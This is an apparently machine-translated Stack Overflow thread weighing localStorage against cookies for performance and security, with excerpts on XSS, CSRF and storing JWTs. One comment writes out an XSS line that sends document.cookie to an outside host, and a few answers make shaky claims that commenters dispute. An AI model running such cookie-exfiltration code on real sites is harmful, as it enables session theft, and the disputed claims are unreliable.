Penyimpanan Lokal vs Cookie

1027

Saya ingin mengurangi waktu muat di situs web saya dengan memindahkan semua cookie ke penyimpanan lokal karena tampaknya memiliki fungsi yang sama. Apakah ada pro / kontra (terutama dari segi kinerja) dalam menggunakan penyimpanan lokal untuk menggantikan fungsionalitas cookie kecuali untuk masalah kompatibilitas yang jelas?

Gio Borje
sumber
107
Kelemahan yang mungkin: nilai localStorge pada halaman Secure (SSL) terisolasi. Jadi, jika situs Anda memiliki halaman http dan https, Anda tidak akan dapat mengakses nilai yang ditetapkan pada halaman http saat mengunjungi halaman https. Baru saja mencoba localStorage untuk kereta mini ajax di toko Magento. Epic gagal ...
6
secara mengejutkan didukung dengan baik (dibandingkan dengan apa yang saya harapkan) caniuse.com/#search=localstorage
Simon_Weaver
6
Beberapa pengguna juga menonaktifkan cookie sebagai aturan di browser mereka. Penyimpanan lokal dapat bekerja lebih baik bagi para pengguna.
Berkembang
9
" Kelemahan possibe: nilai [localStorage] pada halaman Secure (SSL) terisolasi " Itulah sisi baiknya .
curiousguy
13
Itu sebabnya Anda harus memaksa SSL di situs web Anda ... Saya tidak melihat alasan untuk menawarkan kedua versi halaman jika Anda sudah memiliki versi SSL yang tersedia.
xji

Jawaban:

1277

Cookie dan penyimpanan lokal memiliki tujuan berbeda. Cookie terutama untuk membaca sisi server , penyimpanan lokal hanya dapat dibaca oleh sisi klien . Jadi pertanyaannya adalah, di aplikasi Anda, siapa yang butuh data ini - klien atau server?

Jika itu adalah klien Anda (JavaScript Anda), maka tentu saja beralihlah. Anda membuang-buang bandwidth dengan mengirimkan semua data di setiap tajuk HTTP.

Jika itu adalah server Anda, penyimpanan lokal tidak begitu berguna karena Anda harus meneruskan data itu entah bagaimana (dengan Ajax atau bidang formulir tersembunyi atau sesuatu). Ini mungkin baik-baik saja jika server hanya membutuhkan sebagian kecil dari total data untuk setiap permintaan.

Anda tetap ingin meninggalkan cookie sesi sebagai cookie.

Sesuai perbedaan teknis, dan juga pemahaman saya:

  1. Selain sebagai cara lama menyimpan data, Cookies memberi Anda batas 4096 byte (4095, sebenarnya) - itu per cookie. Penyimpanan Lokal sebesar 5MB per domain - SO Pertanyaan juga menyebutkannya.

  2. localStorageadalah implementasi dari StorageAntarmuka. Ia menyimpan data tanpa tanggal kedaluwarsa , dan hanya dihapus melalui JavaScript, atau membersihkan Tembolok Peramban / Data yang Disimpan Secara Lokal - tidak seperti cookie yang kedaluwarsa.

jpsimons
sumber
30
HTML5 memiliki penyimpanan scoped sesi yang dapat digunakan sebagai pengganti cookie sesi juga.
Pat Niemeyer
5
@PatNiemeyer, Anda dapat menganggap sessionStoragesebagai Cookie yang telah kedaluwarsa hingga Browser ditutup (bukan tab). @darkporter, terima kasih atas jawabannya. Namun, ingin mendengar perbedaan teknis antara Cookie dan Penyimpanan Lokal. menunggu hasil edit Anda.
Om Shankar
28
@OmShankar Saya tidak yakin apakah Anda masih memiliki keraguan ini, tapi inilah bedanya: localStorage tetap pada klien, sementara cookiesdikirim dengan header HTTP. Itulah perbedaan terbesar (tetapi bukan satu-satunya) di antara mereka.
Andre Calil
16
Jika aplikasi klien Anda berbicara dengan REST API, maka menggunakan cookie untuk menyimpan dan mengirimkan id sesi tidak idiomatis di REST. Jadi, bagi saya cookie terlihat seperti teknologi lama yang mungkin harus diganti dengan penyimpanan lokal (+ JavaScript jika Anda perlu mengirimkan beberapa data, seperti id sesi, ke server).
Tvaroh
8
Penyimpanan lokal tidak selalu merupakan pilihan yang lebih aman daripada cookie, karena rentan terhadap serangan XSS. Secara pribadi, saya akan memilih cookie HTTPS terenkripsi (mungkin menggunakan JWT atau JWE), dengan skema kedaluwarsa yang direncanakan dengan cermat. yaitu menerapkan 'kebijakan' kadaluwarsa tingkat cookie dan proses 'pembaruan' cookie di sisi server, untuk mengurangi kemungkinan cookie digunakan oleh pihak ketiga yang berbahaya. Saya telah menulis jawaban di bawah ini dengan mengutip bagian dari artikel oleh Stormpath tentang masalah ini.
XtraSimplicity
232

Dalam konteks JWT , Stormpath telah menulis artikel yang cukup membantu menguraikan cara-cara yang mungkin untuk menyimpannya, dan keuntungan (dis-) yang berkaitan dengan masing-masing metode.

Ini juga memiliki gambaran singkat tentang serangan XSS dan CSRF, dan bagaimana Anda dapat memerangi mereka.

Saya telah melampirkan beberapa cuplikan singkat dari artikel di bawah ini, jika artikel mereka diambil offline / situs mereka turun.

Penyimpanan lokal

Masalah:

Penyimpanan Web (localStorage / sessionStorage) dapat diakses melalui JavaScript pada domain yang sama. Ini berarti bahwa setiap JavaScript yang berjalan di situs Anda akan memiliki akses ke penyimpanan web, dan karena ini dapat rentan terhadap serangan lintas situs (XSS). Singkatnya, XSS adalah jenis kerentanan di mana penyerang dapat menyuntikkan JavaScript yang akan berjalan di halaman Anda. Serangan XSS dasar berupaya menyuntikkan JavaScript melalui input formulir, tempat penyerang memberi peringatan ('Anda Dibajak'); ke dalam formulir untuk melihat apakah itu dijalankan oleh browser dan dapat dilihat oleh pengguna lain.

Pencegahan:

Untuk mencegah XSS, respons umum adalah melarikan diri dan menyandikan semua data yang tidak dipercaya. Tapi ini jauh dari cerita lengkap. Pada 2015, aplikasi web modern menggunakan JavaScript yang diinangi pada CDN atau infrastruktur luar. Aplikasi web modern termasuk perpustakaan JavaScript pihak ketiga untuk pengujian A / B, analisis saluran / pasar, dan iklan. Kami menggunakan manajer paket seperti Bower untuk mengimpor kode orang lain ke dalam aplikasi kami.

Bagaimana jika hanya satu dari skrip yang Anda gunakan yang dikompromikan? JavaScript berbahaya dapat disematkan pada halaman, dan Penyimpanan Web dikompromikan. Jenis serangan XSS ini dapat membuat Penyimpanan Web semua orang yang mengunjungi situs Anda, tanpa sepengetahuan mereka. Ini mungkin sebabnya banyak organisasi menyarankan untuk tidak menyimpan sesuatu yang bernilai atau mempercayai informasi apa pun dalam penyimpanan web. Ini termasuk pengidentifikasi dan token sesi.

Sebagai mekanisme penyimpanan, Penyimpanan Web tidak menerapkan standar aman apa pun selama transfer. Siapa pun yang membaca Penyimpanan Web dan menggunakannya harus melakukan uji tuntas untuk memastikan mereka selalu mengirim JWT melalui HTTPS dan tidak pernah HTTP.

Kue

Masalah:

Cookie, ketika digunakan dengan bendera cookie HttpOnly, tidak dapat diakses melalui JavaScript, dan kebal terhadap XSS. Anda juga dapat mengatur bendera cookie Aman untuk menjamin cookie hanya dikirim melalui HTTPS. Ini adalah salah satu alasan utama bahwa cookie telah diungkit di masa lalu untuk menyimpan token atau data sesi. Pengembang modern ragu-ragu untuk menggunakan cookie karena mereka secara tradisional mengharuskan negara untuk disimpan di server, sehingga melanggar praktik terbaik yang tenang. Cookie sebagai mekanisme penyimpanan tidak mengharuskan status disimpan di server jika Anda menyimpan JWT dalam cookie. Ini karena JWT merangkum semua yang dibutuhkan server untuk melayani permintaan.

Namun, cookie rentan terhadap berbagai jenis serangan: pemalsuan permintaan lintas situs (CSRF). Serangan CSRF adalah jenis serangan yang terjadi ketika situs web berbahaya, email, atau blog menyebabkan browser web pengguna untuk melakukan tindakan yang tidak diinginkan pada situs tepercaya di mana pengguna saat ini diautentikasi. Ini adalah eksploitasi bagaimana browser menangani cookie. Cookie hanya dapat dikirim ke domain yang diizinkan. Secara default, ini adalah domain yang awalnya mengatur cookie. Cookie akan dikirim untuk permintaan terlepas dari apakah Anda berada di galaxies.com atau hahagonnahackyou.com.

Pencegahan:

Browser modern mendukung SameSitebendera , selain HttpOnlydan Secure. Tujuan dari bendera ini adalah untuk mencegah cookie dari ditransmisikan dalam permintaan lintas situs, mencegah berbagai jenis serangan CSRF.

Untuk browser yang tidak mendukung SameSite, CSRF dapat dicegah dengan menggunakan pola token yang disinkronkan. Ini terdengar rumit, tetapi semua kerangka kerja web modern memiliki dukungan untuk ini.

Misalnya, AngularJS memiliki solusi untuk memvalidasi bahwa cookie hanya dapat diakses oleh domain Anda. Langsung dari AngularJS docs:

Saat melakukan permintaan XHR, layanan $ http membaca token dari cookie (secara default, XSRF-TOKEN) dan menetapkannya sebagai header HTTP (X-XSRF-TOKEN). Karena hanya JavaScript yang berjalan di domain Anda yang dapat membaca cookie, server Anda dapat yakin bahwa XHR berasal dari JavaScript yang berjalan di domain Anda. Anda dapat membuat perlindungan CSRF ini tanpa kewarganegaraan dengan memasukkan xsrfTokenklaim JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "[email protected]",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Memanfaatkan perlindungan CSRF kerangka kerja aplikasi web Anda membuat cookie sangat kuat untuk menyimpan JWT. CSRF juga dapat dicegah sebagian dengan memeriksa tajuk HTTP Referer dan Origin dari API Anda. Serangan CSRF akan memiliki header Referer dan Origin yang tidak terkait dengan aplikasi Anda.

Artikel lengkap dapat ditemukan di sini: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

Mereka juga memiliki artikel bermanfaat tentang cara terbaik merancang dan mengimplementasikan JWT, berkaitan dengan struktur token itu sendiri: https://stormpath.com/blog/jwt-the-right-way/

Kesederhanaan Xtra
sumber
6
Poin luar biasa. Terkejut implikasi keamanan penyimpanan lokal (atau ketiadaan XSS) belum disebutkan sebelumnya pada pertanyaan yang dibaca dengan baik - kecuali untuk satu jawaban yang salah IMHO menyarankan itu lebih aman!
Barry Pollard
25
Saya menemukan seluruh pembicaraan keamanan agak mengganggu jujur. Ya, localStoragedapat diakses oleh skrip lain pada halaman ... Tapi begitu juga XMLHttpRequest... Dan ya bendera HttpOnly melindungi terhadap pencurian cookie tetapi browser tetap mengirimkannya ke domain yang cocok secara otomatis jadi ... pada dasarnya ketika Anda memiliki skrip berbahaya berjalan di halaman Anda, Anda sudah diretas.
Stijn de Witt
3
@StijndeWitt Setiap lapisan perlindungan memiliki kekuatan dan kelemahannya sendiri. Jadi biasanya lebih baik memiliki beberapa lapisan perlindungan. Sebagai contoh: HttpOnly juga mencegah serangan non-ajax seperti window.location = 'http://google.com?q=' + escape(document.cookie);. Serangan ini memintas pemeriksaan browser CORS.
Memet Olsen
Anggap Anda memiliki penyedia yang kurang tepercaya untuk beberapa hal seperti iklan ... mengapa iklan Anda bahkan dilayani oleh domain yang sama dengan konten tepercaya Anda sendiri? Iklan hanya harus ditampilkan di dalam Halaman Web, biasanya tidak perlu menjalankan JS di dalam halaman. Begitu banyak integrasi untuk konten pihak ketiga tidak pantas.
curiousguy
Mengapa token csrf dalam cookie (yang harus non-http-saja oleh definisi sehingga dapat dibaca melalui JavaScript dan dikirim melalui header) membantu segala hal yang bijaksana secara keamanan? Jika situs saya rentan terhadap xss, cookie dapat dibaca semudah penyimpanan lokal / sesi.
Juangamnik
97

Dengan localStorage, aplikasi web dapat menyimpan data secara lokal di dalam browser pengguna. Sebelum HTML5, data aplikasi harus disimpan dalam cookie, termasuk dalam setiap permintaan server. Sejumlah besar data dapat disimpan secara lokal, tanpa memengaruhi kinerja situs web. Meskipun localStoragelebih modern, ada beberapa pro dan kontra untuk kedua teknik tersebut.

Kue

Pro

  • Dukungan warisan (sudah ada selamanya)
  • Data persisten
  • Tanggal kedaluwarsa

Cons

  • Setiap domain menyimpan semua cookie dalam satu string, yang dapat membuat penguraian data menjadi sulit
  • Data tidak terenkripsi, yang menjadi masalah karena ... ... meskipun berukuran kecil, cookie dikirim dengan setiap permintaan HTTP Ukuran terbatas (4KB)
  • Injeksi SQL dapat dilakukan dari cookie

Penyimpanan lokal

Pro

  • Dukungan oleh sebagian besar browser modern
  • Data persisten yang disimpan langsung di browser
  • Aturan asal yang sama berlaku untuk data penyimpanan lokal
  • Tidak dikirim dengan setiap permintaan HTTP
  • ~ 5MB penyimpanan per domain (yaitu 5120KB)

Cons

  • Tidak didukung oleh apa pun sebelumnya: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Jika server membutuhkan informasi klien yang tersimpan, Anda harus mengirimnya.

localStoragepenggunaannya hampir identik dengan sesi satu. Mereka memiliki metode yang sangat tepat, sehingga beralih dari sesi ke localStoragebenar-benar permainan anak-anak. Namun, jika data yang disimpan benar-benar penting untuk aplikasi Anda, Anda mungkin akan menggunakan cookie karena cadangan jika localStoragetidak tersedia. Jika Anda ingin memeriksa dukungan browser localStorage, yang harus Anda lakukan adalah menjalankan skrip sederhana ini:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"Nilai localStorage pada halaman Secure (SSL) terisolasi" karena seseorang memperhatikan perlu diingat bahwa localStorage tidak akan tersedia jika Anda beralih dari protokol aman 'http' ke 'https', di mana cookie akan tetap dapat diakses. Ini agak penting untuk diperhatikan jika Anda bekerja dengan protokol yang aman.

DevWL
sumber
1
Pemeriksaan yang Anda lakukan tidak terlalu dapat diandalkan. Ada browser dan mode (pribadi) yang memiliki objek Storage, namun gagal untuk secara akut menetapkan nilai padanya. Satu-satunya cara untuk memeriksa dukungan aktual adalah mencoba menangkap set penghapusan di atasnya.
JavaScript
Poin yang diambil, saya telah memperbarui jawaban saya sehubungan dengan jawaban Joe di: stackoverflow.com/questions/16427636/…
DevWL
10
karena 'injeksi SQL dapat dilakukan' terdaftar sebagai kontra cookie, Anda mengatakan bahwa itu tidak dapat dilakukan dari localStorage?
Martin Schneider
Pro lain untuk Cookie. Cookie dapat ditandai sebagai HTTPOnly. Ini berarti bahwa mereka tidak dapat diakses dari JavaScript yang pada gilirannya berarti bahwa tidak ada serangan XSS jahat yang dapat mengambil konten cookie. Karena itu, saya tidak perlu mengatakan bahwa penyimpanan lokal lebih aman daripada cookie.
wp-overwatch.com
@ Mr.Me Meskipun serangan XSS tidak dapat membaca cookie HTTPOnly, penyerang masih dapat melakukan permintaan HTTP apa pun yang dapat dilakukan pengguna (menurut definisi) hanya dibatasi oleh sesi browser. Dengan asumsi cookie sesi adalah pengidentifikasi buram, karena hampir semua cookie sesi, membaca nilai cookie hanya berguna untuk melakukan permintaan HTTP termasuk: Anda tidak belajar apa-apa hanya dengan nilai cookie. (Catatan, cookie sesi kadang-kadang dapat ditautkan ke alamat IP sumber tertentu, header agen-pengguna, atau karakteristik browser lainnya; serangan XSS melakukan permintaan HTTP dari browser, jadi ini cocok.)
curiousguy
7

Nah, kecepatan penyimpanan lokal sangat tergantung pada browser yang digunakan klien, serta sistem operasi. Chrome atau Safari di mac bisa jauh lebih cepat daripada Firefox di PC, terutama dengan API yang lebih baru. Seperti biasa, pengujian adalah teman Anda (saya tidak dapat menemukan tolok ukur).

Saya benar-benar tidak melihat perbedaan besar dalam cookie vs penyimpanan lokal. Selain itu, Anda harus lebih khawatir tentang masalah kompatibilitas: tidak semua browser bahkan mulai mendukung API HTML5 baru, sehingga cookie akan menjadi taruhan terbaik Anda untuk kecepatan dan kompatibilitas.

pop850
sumber
2
Ini hanya proyek internal, jadi hal-hal seperti kompatibilitas lintas-browser tidak terlalu diperlukan. Karena cookie dikirim dengan setiap HTTPRequest (aplikasi saya memiliki ~ 77 permintaan) yang berarti ~ 500kB overhead tambahan. Saya tahu solusi yang jelas adalah CDN, tetapi saya ingin mencoba sesuatu yang tidak bergantung pada server. Saya tidak dapat menemukan tolok ukur sendiri dan itulah mengapa saya berharap seseorang di sini mungkin tahu.
Gio Borje
14
Mengapa Chrome atau Safari lebih cepat di Mac? Ini hampir sama dengan kode peramban yang menjalankan apakah Anda menggunakan Mac, Linux atau Windows.
Mark K Cowan
7

Perlu disebutkan juga bahwa localStoragetidak dapat digunakan ketika pengguna menjelajah dalam mode "pribadi" di beberapa versi Safari seluler.

Dikutip dari MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Catatan: Dimulai dengan iOS 5.1, Safari Mobile menyimpan data Penyimpanan lokal di folder cache, yang sewaktu-waktu harus dibersihkan, atas perintah OS, biasanya jika ruangnya pendek. Mode Penjelajahan Pribadi Safari Mobile juga mencegah penulisan ke localStorage sepenuhnya.

benjaminz
sumber
6

Penyimpanan lokal dapat menyimpan hingga 5 mb data offline, sedangkan sesi juga dapat menyimpan hingga 5 mb data. Tetapi cookie hanya dapat menyimpan data 4kb dalam format teks.

Data penyimpanan LOCAl dan Session dalam format JSON, sehingga mudah diurai. Tetapi data cookie dalam format string.

Avinash Malhotra
sumber
6

Kue kering :

  1. Diperkenalkan sebelum HTML5.
  2. Memiliki tanggal kedaluwarsa.
  3. Bersihkan oleh JS atau dengan Clear Browsing Data browser atau setelah tanggal kedaluwarsa.
  4. Akan dikirim ke server per setiap permintaan.
  5. Kapasitasnya 4KB.
  6. Hanya string yang dapat disimpan di cookie.
  7. Ada dua jenis cookie: persisten dan sesi.

Penyimpanan lokal:

  1. Diperkenalkan dengan HTML5.
  2. Tidak memiliki tanggal kedaluwarsa.
  3. Bersihkan oleh JS atau dengan Hapus Data Perambanan browser.
  4. Anda dapat memilih kapan data harus dikirim ke server.
  5. Kapasitasnya 5MB.
  6. Data disimpan tanpa batas waktu, dan harus berupa string.
  7. Hanya ada satu tipe.
Seyedraouf Modarresi
sumber
6. localStorage hanya dapat menyimpan string, primitif dan objek harus dikonversi ke string sebelum disimpan, 7. sessionStorage juga tersedia dan identik dengan localStorage kecuali tidak bertahan
Robbie Milejczak
Anda hanya dapat menyimpan sengatan di penyimpanan
TheMisir